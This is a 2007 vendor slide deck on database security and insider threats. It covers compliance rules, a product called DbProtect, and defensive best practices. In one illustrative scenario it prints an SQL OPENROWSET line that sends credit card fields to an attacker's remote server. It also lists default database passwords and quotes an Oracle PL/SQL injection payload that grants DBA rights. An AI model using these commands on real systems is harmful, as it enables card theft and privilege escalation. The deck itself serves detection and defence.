Database Security & The Insider Threat

Securing Business by Securing Database Applications

Presented by:
Aaron Ingram
Application Security, Inc.
Database Security & The Insider Threat

- Agenda:
  - Grounding Regulatory Compliance in the Database
  - The Insider Threat – Attacks and Countermeasures
  - Database Security & Monitoring Best Practices
  - Securing Databases with DbProtect
  - Q&A
Federal Regulations Governing Data Security

Gramm-Leach-Bliley Act
- All about data privacy
  - Requires that financial institutions safeguard “Personally Identifiable information” (PII)
  - Providing personalized service requires access to personal information
- Necessitates implementing systems and controls to provide simple but secure access to sensitive PII data
- GLBA compliance is considered a “best practice” by many retailers

Sarbanes-Oxley Act
- All about data integrity
  - Mandates that public companies have effective controls on financial reporting data.
- Access controls
  - Segregation of duties
  - Access provided only with proper business requirement
- Audit trail
  - What changes have been made?
  - When were they made?
  - Who made them?
Federal Regulations Governing Data Security

FISMA (NIST 800-53)

- All about data security
  - Mandates that government organizations have effective controls to protect sensitive data
- Access controls
  - Segregation of duties
  - Access provided only with proper business requirement
- Audit trail
  - What changes have been made?
  - When were they made?
  - Who made them?

OMB Memo M-06-16

“Log all computer-readable data extracts from databases holding sensitive information…”

- Focused on data privacy and audit
  - Requires that organizations identify databases containing sensitive data
  - Requires auditing of reads (extracts) from those systems
  - Requires a means to determine where the data has gone
- Necessitates implementing systems and controls to ensure organizations “Trust but Verify”
Payment Card Industry Data Security Standard

A Combination of data privacy and data integrity rules

- Access controls
- Authentication
- Audit trail
- Encryption
- Vulnerability assessment

Penalties are Severe

- Non-compliance fine (egregious violations up to $500k)
- Ban from processing credit card transactions
- Increased processing fees
- Forensic investigation costs
- Disclosure / dispute resolution costs
- Issuers and Acquirers face unlimited liability
## PCI Requirements Mandate Database Security

<table>
<thead>
<tr>
<th>Section</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Ensure default passwords are changed</td>
</tr>
<tr>
<td>3</td>
<td>Protect Stored Data (Encryption)</td>
</tr>
<tr>
<td>4</td>
<td>Protect data in transit across the network (to/from DB)</td>
</tr>
<tr>
<td>6</td>
<td>Develop and maintain secure systems using vulnerability assessment tools</td>
</tr>
<tr>
<td>7</td>
<td>Implement strong authentication, authorization, and access controls</td>
</tr>
<tr>
<td>8</td>
<td>Assign unique IDs and implement strong password security</td>
</tr>
<tr>
<td>10</td>
<td>Auditing and database security monitoring</td>
</tr>
<tr>
<td>11</td>
<td>Regular review of security controls and audit data</td>
</tr>
</tbody>
</table>
Data is under Attack

A Chronology of Data Breaches

http://www.privacyrights.org/ar/ChronDataBreaches.htm

Tracking Sensitive data breaches – since Feb. 2005

Several Hundred Incidences

Victims: Financial Services, Federal Gov’t, Universities, Manufacturers, Health Care, Consulting & Audit Firms, etc. etc. etc.

TOTAL number of records containing sensitive personal information involved in security breaches -

As of this Week >166,000,000 Records
Costs of a Breach

- In 2006 Breaches cost companies an average of $182 per compromised record -- a 31% increase over 2005.

- Of 31 companies studied that experienced a data breach in 2006, direct costs ranged from $1 Million to over $22 Million
  
  source: Ponemon Institute, October 2006

- These figures do not take into account the brand damage and loss of market capitalization incurred by the companies studied. The real costs of a breach are astronomical.
The Database “Insider Threat”

Who are Insiders?
The CISO of one of the largest banks in the world says…

“I define insiders in three categories

1. Authorized and Intelligent
   - use IT resources appropriately
2. Authorized and “stupid”
   - make mistakes that may appear as malicious or fraudulent.
3. Unauthorized and Malicious
   - mask either their identity or their behavior or both!

The first two categories I can identify and track with identity management systems – the later, I can not!!”
The Database “Insider Threat”

- Why is it important to understand who are the Users?
  - 70% of attacks originate on the Inside
    - Typically Difficult to detect
  - 65% of Threats go Undetected
  - 25% of Enterprises detected Security Breaches

- Do you know who they are?
- Can you monitor all database access and behavior?
- Do you know your enterprise DB vulnerability profile?
- Would you pass a Privileged User Audit?
- Is your Audit Trail Tamper Hardened? Non-repudiation?
The Database “Insider Threat”

- Let’s break it down a bit further…
  - **Authorized Users**
    - Employees - Clerks, Accountants, Finance, Salespeople, Purchasing, etc.
  - **Privileged Users**
    - DBA’s, DB/App Developers, Application QA, Contractors, Consultants
  - **Knowledgeable Users**
    - IT Op’s, Network Op’s, Security Personnel, Audit Personnel
  - **Outsiders or Malicious User with Insider Access and/or vulnerability knowledge**
    - The sophisticated “white collar” criminal

An individual may belong to more than one group
Database Vulnerabilities

- Buffer Overflows
- Denial of Service
- Default and Weak Passwords
- Privilege Escalation
- Misconfigurations
- SQL Injection
- Accessing Operating System Resources
- And they just keep coming……
  - Ex. Oracle now on quarterly patch schedule
**Attack Scenario: “Insider X” Harvets Credit Cards**

- "Insider X" is a database developer at a large retailer.
  - He is responsible for writing the code that accepts credit card information from POS terminals and writes it into a database.

- "Insider X" is addicted to adult chat rooms on the internet.
  - After spending thousands on his habit, he realizes he can’t afford to continue, but he can’t stop.

- "Insider X" plots to clandestinely credit card numbers from his employer’s customers.
  - He’ll use those credit card numbers to buy more time in the chat rooms.
The "Insider X’s” Plan

- The plan is to embed malicious code into the database that processes and stores customer data.
  - He will harvest credit card data as it is being processed into the system, rather than attempting to take it after the fact.

- "Insider X" has control over the database while in development, but will have no access when it goes to production
  - His attack needs to send the data to him….and do so without getting noticed.

- "Insider X" will use an Oracle database on a development server that he owns to collect the credit card numbers.
  - He will take them home on disk and delete the records from the server every night.
The Attack

- "Insider X" knows that the SQL OLE DB Provider is installed on the target database server.
  - This means he can use the OPENROWSET function to send data to his remote SQL Server database.

- His attack is a simple line of SQL code embedded into the transaction processing system:

```sql
INSERT INTO OPENROWSET('SQLOLEDB','uid=sa;pwd=qwerty; Network=DBMSSOCN; Address=192.168.10.87,1433;', 'select * from Customers..Info') values (@FirstName, @LastName, @ccNumber, @ccType, @ccSecNumber, @ccExpDate)'
```
OPENROWSET uses the OLE DB provider to set up a connection to the remote database.

```sql
INSERT INTO OPENROWSET('SQLOLEDB','uid=sa;pwd=qwerty;Network=DBMSSO CN;Address=192.168.10.87,1433;','select * from Customers..Info')
values (@FirstName,
        @LastName,
        @ccNumber,
        @ccType,
        @ccSecNumber,
        @ccExpDate)
```

The attackers database is located at 192.168.10.87 on port 1433

Write the data to the Info table in the Customers database…on "Insider X"’s server

This is the information that we’re going to steal. Name, credit card number, expiration date, and security code….all the good stuff
"Insider X"'s Attack in progress...

starts small
"Insider X"’s Attack in progress...

Then grows…
"Insider X"’s Attack Complete

16,000+ credit card numbers…..that’s about $80M in Credit!!!
The Outcome

- Once the application was deployed, "Insider X" collected at least 300 credit card numbers daily
  - After some time "Insider X" had thousands of records in his own SQL Server…without being noticed by anybody
- During the next scheduled application update, "Insider X" removed the attack code from the system
  - **No trace remained on the victim’s SQL Server**
- "Insider X"’s heist was a success
- When the attack was finally detected, it was too late to do anything about it.
  - Investigations, fines, firings, brand damage…..it was bad for everyone….except "Insider X"
Attack Scenario: Password Cracking

- **Oracle Defaults (hundreds of them)**
  - User Account: internal / Password: oracle
  - User Account: system / Password: manager
  - User Account: sys / change_on_install
  - User Account: dbsnmp / Password: dbsnmp

- **Microsoft SQL Server Defaults**
  - User Account: SA / Password: null

- **Sybase Defaults**
  - User Account: SA / Password: null

- **MySQL Defaults**
  - User Account: root / Password: null
  - User Account: admin / Password: admin
  - User Account: myusername / Password: mypassword
Password Attack in Progress

CANVAS Exploit [2]: Found: SCOTT:TIGER
Next Steps: Privilege Escalation
The Attacker Owns the Database

```
C:\WINNT\system32\cmd.exe - sqlplus "scott/tiger@orcl"

QS_ADM 991CDDAD5C5C32CA
QS 8B09C6075BDF2DC4
QS_WS 24ACF617DD7D8F2F
QS_ES E6A6FA4BB042E3C2
QS_OS FF09F3EB14AE5C26
QS_CBADM 7C632AFB71F8D305
QS_CB CF9CFACF5AE24964
QS_CS 91A00922D8C0F146

30 rows selected.

SQL> select * from salaries;

NAME                  AMOUNT
------------------------------
John Smith            5000.00
Jess Tim              4500.00
Vivi Losa             3500.00
Tim Locky             5500.00
...                   ...
```
How Do You Stop the Malicious Insider?

Apply the vulnerability management lifecycle...

Monitor Controls & Flag Violations
- Who did it?
- What did they do?
- When did they do it?

Establish Controls & Track Progress
- Document systems
- Establish controls
- Demonstrate continuous improvement

Baseline/Discover

Prioritize

Monitor

Shield and Mitigate
Database Security Best Practices

- **Vulnerability Assessment**
  - Discover what you have to build an updated inventory
  - Regularly assess your databases for known vulnerabilities
  - Patch and reconfigure based on value and risk

- **Database Activity Monitoring**
  - Alert in real-time against attempted exploits
  - Alert in real time against any other suspicious or unusual access
  - Determine who accessed which systems, when, and how
  - Determine what they did (both users and administrators)
  - Understand where the threat / risk originates and deploy the appropriate solution to defend against such threats

- **Change Auditing**
  - Establish a baseline policy for database – configuration, schema, users, privileges and structure – and then track deviations from that baseline

- **Selective, Column-Level Encryption**
Assess: Discover all your databases
Prioritize: Analyze Risk

Vulnerabilities By Risk Level
- High: 3 (21%)
- Medium: 2 (14%)
- Low: 9 (64%)
- Informational: 0 (0%)

Total Number of Applications by Application Type
- Microsoft SQL Server 2000: 3 (20%)
- Microsoft SQL Server: 3 (15%)
- MSDE 2000: 2 (13%)

Average Number Vulnerabilities by Application Type
- MSDE 2000: 5 (71%)

Risk Level | Vulnerability
--- | ---
High | spv_paraminfo buffer overflow in sp_executesql
High | spv_paraminfo buffer overflow in sp_updatecolbm
High | xp_drtree buffer overflow
High | xp_rengetnimages buffer overflow
High | xp_provedinreads buffer overflow
Medium | Buffer overflow in LPC
Medium | Database ownership chaining patch not installed
Medium | Named Pipe Hacking
Low | BULK INSERT buffer overflow
Low | Changing mode may leave ss_password blank.
Fix

- Patch to limit exposure to known vulnerabilities

- RemEDIATE misconfigurations
  - Generate Fix-scripts

```
-- The following statement is to fix a vulnerability within the following check:
-- srv_paraminfo buffer overflow in xp_peekqueue
USE master
GO
REVOKE EXECUTE ON master.dbo.xp_peekqueue FROM public
GO
```

- Identify and change default & weak passwords
Monitor: Database Activity
Alert potential security issues, log routine business transactions

<table>
<thead>
<tr>
<th>SS#</th>
<th>Credit Card#</th>
</tr>
</thead>
<tbody>
<tr>
<td>018881111</td>
<td>4444555566663333</td>
</tr>
<tr>
<td>345894325</td>
<td>1212121278787878789878899</td>
</tr>
<tr>
<td>789878899</td>
<td>0987654321123456</td>
</tr>
<tr>
<td>798886543</td>
<td>4678432199008876</td>
</tr>
</tbody>
</table>

Credit Cards

Insider Threat
DbProtect: Preventing the "Insider X" Attack

AppDetective
- Discover unauthorized databases
- Configure secure settings
  - Disable OLE DB Ad-hoc queries

AppRadar
- Monitor changes to stored procedures
  - Log the change and who made it
- Detect use of sensitive and powerful functions
  - OPENROWSET
DbProtect AppDetective: Discover the Unauthorized DB

![AppDetective - Session #96](image)

<table>
<thead>
<tr>
<th>Variable Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>InstanceName</td>
<td>MSSQLSERVER</td>
</tr>
<tr>
<td>IsClustered</td>
<td>No</td>
</tr>
<tr>
<td>Ip</td>
<td>\192.168.31.130</td>
</tr>
<tr>
<td>ServerName</td>
<td>XP-BBQ</td>
</tr>
<tr>
<td>Tcp</td>
<td>1433</td>
</tr>
<tr>
<td>Version</td>
<td>8.00.194</td>
</tr>
</tbody>
</table>

© 2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.
DbProtect AppDetective: OLE DB Queries Allowed
## DbProtect AppRadar: Use of ALTER PROCEDURE

<table>
<thead>
<tr>
<th>Alert ID</th>
<th>Instance Alias</th>
<th>Rule Title</th>
</tr>
</thead>
<tbody>
<tr>
<td>3052</td>
<td>Backend MS SQL</td>
<td>ALTER PROCEDURE</td>
</tr>
<tr>
<td>3057</td>
<td>Backend MS SQL</td>
<td>ALTER PROCEDURE</td>
</tr>
<tr>
<td>3050</td>
<td>Backend MS SQL</td>
<td>ALTER PROCEDURE</td>
</tr>
<tr>
<td>3049</td>
<td>Backend MS SQL</td>
<td>SQL injection in sp_Msdsrep...</td>
</tr>
<tr>
<td>3048</td>
<td>Backend MS SQL</td>
<td>SQL injection in xp_msdsrep...</td>
</tr>
<tr>
<td>3047</td>
<td>Backend MS SQL</td>
<td>Generic use of xp_cmdshell</td>
</tr>
<tr>
<td>3046</td>
<td>Backend MS SQL</td>
<td>Read sensitive OS files</td>
</tr>
<tr>
<td>3045</td>
<td>Backend MS SQL</td>
<td>xp_providedmetadata buffer over...</td>
</tr>
<tr>
<td>3043</td>
<td>Backend MS SQL</td>
<td>xp_columns buffer overflow</td>
</tr>
<tr>
<td>3042</td>
<td>Backend MS SQL</td>
<td>xp_dbainfo buffer overflow</td>
</tr>
<tr>
<td>3041</td>
<td>Backend MS SQL</td>
<td>xp_createprivatecache buffer...</td>
</tr>
<tr>
<td>3040</td>
<td>Application System</td>
<td>ALTER PROCEDURE</td>
</tr>
</tbody>
</table>

**Database Type:** Microsoft SQL Server 2000 (Host-based Sensor)

**Instance Alias:** Backend MS SQL

**Context:** master

**Rule Title:** ALTER PROCEDURE

**Time:** 3/16/07 10:56:39 PM EDT

**Login/User Name:** Hamburger

**Network User:** n/a

**Source of Event:** xp_sqla

**SQL Text:**
```
ALTER PROCEDURE [dbo].[ProcessOrder]
    (@FirstName varchar, @LastName varchar, @ccNumber varchar, @ccExpDate datetime, @ccType varchar, @ccSecNumber varchar)
AS
BEGIN
    SET NOCOUNT ON;
    INSERT INTO Customers (Name, ccNumber, ccExpDate, ccType, ccSecNumber)
    VALUES (@FirstName, @LastName, @ccNumber, @ccExpDate, @ccType, @ccSecNumber)
END
```

34

© 2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.
DbProtect AppRadar: Use of OPENROWSET
DbProtect: Preventing the Password Attack

AppDetective
- Change Default Passwords
  - Remove SCOTT/TIGER
- Implement Password Controls
  - Account Lockout
  - Minimum Password Length
  - Password Expiration
  - Password Complexity

AppRadar
- Monitor Database Login activity
  - Log all failed and successful logins
  - Alerts on repeated failed logins
DbProtect AppDetective: Identifying the Default Password
DbProtect AppDetective: Identifying Weak Passwords
## DbProtect AppRadar: Alerting on the Password Attack

### Alerts Table

<table>
<thead>
<tr>
<th>Alert ID</th>
<th>Instance Alias</th>
<th>Rule Title</th>
<th>Time</th>
<th>Login/User Name</th>
<th>Network User</th>
</tr>
</thead>
<tbody>
<tr>
<td>3112</td>
<td>Backend SQL</td>
<td>Password guessing</td>
<td>4/27/07 12:44:25 PM EDT</td>
<td>scott</td>
<td></td>
</tr>
<tr>
<td>3119</td>
<td>Backend SQL</td>
<td>Password guessing</td>
<td>4/27/07 12:43:44 PM EDT</td>
<td>m</td>
<td></td>
</tr>
<tr>
<td>3116</td>
<td>Backend SQL</td>
<td>SAM database in registry access</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3118</td>
<td>Backend SQL</td>
<td>SQL injection in xp_MSdbp...</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3117</td>
<td>Backend SQL</td>
<td>Generic use of xp_cmd...</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3115</td>
<td>Backend SQL</td>
<td>Read sensitive OS files</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3114</td>
<td>Backend SQL</td>
<td>xp_proxiedmetadata buffer over...</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3113</td>
<td>Backend SQL</td>
<td>xp_oledinfo buffer overflow</td>
<td>4/27/07 12:43:02 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
<tr>
<td>3111</td>
<td>Backend</td>
<td>xp_droinfo buffer overflow</td>
<td>4/27/07 12:43:03 PM EDT</td>
<td>KB-BBQ\Administrator</td>
<td>Administrator</td>
</tr>
</tbody>
</table>
## DbProtect AppRadar: Alerting on Privilege Escalation

**Alerts**

<table>
<thead>
<tr>
<th>Alert ID</th>
<th>Instance Alias</th>
<th>Rule Title</th>
<th>Time</th>
<th>Login/User Name</th>
<th>Network User</th>
<th>Source of Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>291</td>
<td>G1101R_192.168.0.230</td>
<td>Access usernames from the ALL...</td>
<td>2/20/07 01:04:32 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>ENTPRISbob</td>
</tr>
<tr>
<td>491</td>
<td>G1101R_192.168.0.230</td>
<td>Possible abuse of DRLOAD, VAL...</td>
<td>2/20/07 01:04:10 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>ENTPRISbob</td>
</tr>
<tr>
<td>292</td>
<td>G1101R_192.168.0.230</td>
<td>Access usernames from the DBA...</td>
<td>2/20/07 01:04:49 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>ENTPRISbob</td>
</tr>
<tr>
<td>291</td>
<td>G1101R_192.168.0.230</td>
<td>Access usernames from the DBA...</td>
<td>2/20/07 01:01:39 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>ENTPRISbob</td>
</tr>
<tr>
<td>290</td>
<td>G1101R_192.168.0.230</td>
<td>Access passwords from the DBA...</td>
<td>2/20/07 01:01:39 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>ENTPRISbob</td>
</tr>
<tr>
<td>490</td>
<td>AppRadar System</td>
<td>Sensor started</td>
<td>2/20/07 12:59:00 PM GMT+00:00</td>
<td>scott</td>
<td>Robert</td>
<td>198.168.0.230</td>
</tr>
</tbody>
</table>

**Risk Levels**
- High
- Medium
- Low
- Acknowledged
## AppRadar: Alerting on Privilege Escalation

<table>
<thead>
<tr>
<th>Alert ID:</th>
<th>203</th>
</tr>
</thead>
<tbody>
<tr>
<td>Database Type:</td>
<td>Oracle (Network-based Sensor)</td>
</tr>
<tr>
<td>Instance Alias:</td>
<td>O101R_192.168.0.200</td>
</tr>
<tr>
<td>Context:</td>
<td>G101R</td>
</tr>
<tr>
<td>Rule Title:</td>
<td>Possible abuse of DRLOAD_VALIDATE_STMT procedure</td>
</tr>
<tr>
<td>Time:</td>
<td>2/20/07 9:10:41 AM GMT-08:00</td>
</tr>
<tr>
<td>Login/Username:</td>
<td>scott</td>
</tr>
<tr>
<td>Network User:</td>
<td>Robert</td>
</tr>
<tr>
<td>Source of Event:</td>
<td>ENPRISE\bob</td>
</tr>
<tr>
<td>SQL Text:</td>
<td>BEGIN c1sys.drload.validate_stmt('grant dba to scott'); END;</td>
</tr>
<tr>
<td>Client Application Name:</td>
<td>sqlplus.exe</td>
</tr>
<tr>
<td>Risk Level:</td>
<td>High</td>
</tr>
<tr>
<td>CVE Reference #:</td>
<td>CVE-NO-MATCH</td>
</tr>
</tbody>
</table>

**Description:** Possible abuse of DRLOAD_VALIDATE_STMT procedure was detected.

**Summary:** The VALIDATE_STMT stored procedure of the DRLOAD package can be abused to execute arbitrary SQL. A low privileged attacker can abuse it to gain elevated privileges.

**Overview:** Oracle contains a large number of built-in packages and stored procedures. The VALIDATE_STMT procedure of the DRLOAD package is vulnerable to PL/SQL injection. The vulnerability can be exploited by simply putting the SQL statement in the only parameter of the procedure, for example: exec c1sys.drload.validate_stmt('alter user sys identified by mysqlpass').

The package is owned by the user CTXSYS. Since the procedures are not defined with the 'AUTHID CURRENT USER' option, the injected SQL is executed under the privileges of CTXSYS - a DBA.

**Versions Affected:** Oracle 9i and 8i

**Fix Information:**

- Oracle's patching process is now based on cumulative Critical Patch Updates (CPU) released on a quarterly basis. Rather than applying old patches for vulnerabilities, it is recommended that you install only the latest CPU patches. The CPU patches are cumulative in nature and contain fixes for all previous vulnerabilities.
- The issue can be fixed by applying an appropriate patch from the patches released for Security Alert 86 or any later CPU. To determine the specific patch needed for your version please refer to the patch availability matrix at [http://metalink.oracle.com/metalink/pisp/showdoc?sid=-NOTSID-=-&query=1](http://metalink.oracle.com/metalink/pisp/showdoc?sid=-NOTSID-=-&query=1). The issue affects only Oracle 9i and 8i. Oracle 10g is not affected. Patches are available for:
  - Oracle 8i version 8.1.7.4
  - Oracle 9i Release version 9.0.1.4 and 9.0.1.5
  - Oracle 9i Release version 9.2.0.4 and 9.2.0.5

Patches can be downloaded from Oracle Worldwide Support Services web site Metalink ([http://metalink.oracle.com](http://metalink.oracle.com)).
Questions?

Thank you

- Questions on
  - Vulnerabilities
  - Locking down the database

- Email us at:
  asktheexpert@appsecinc.com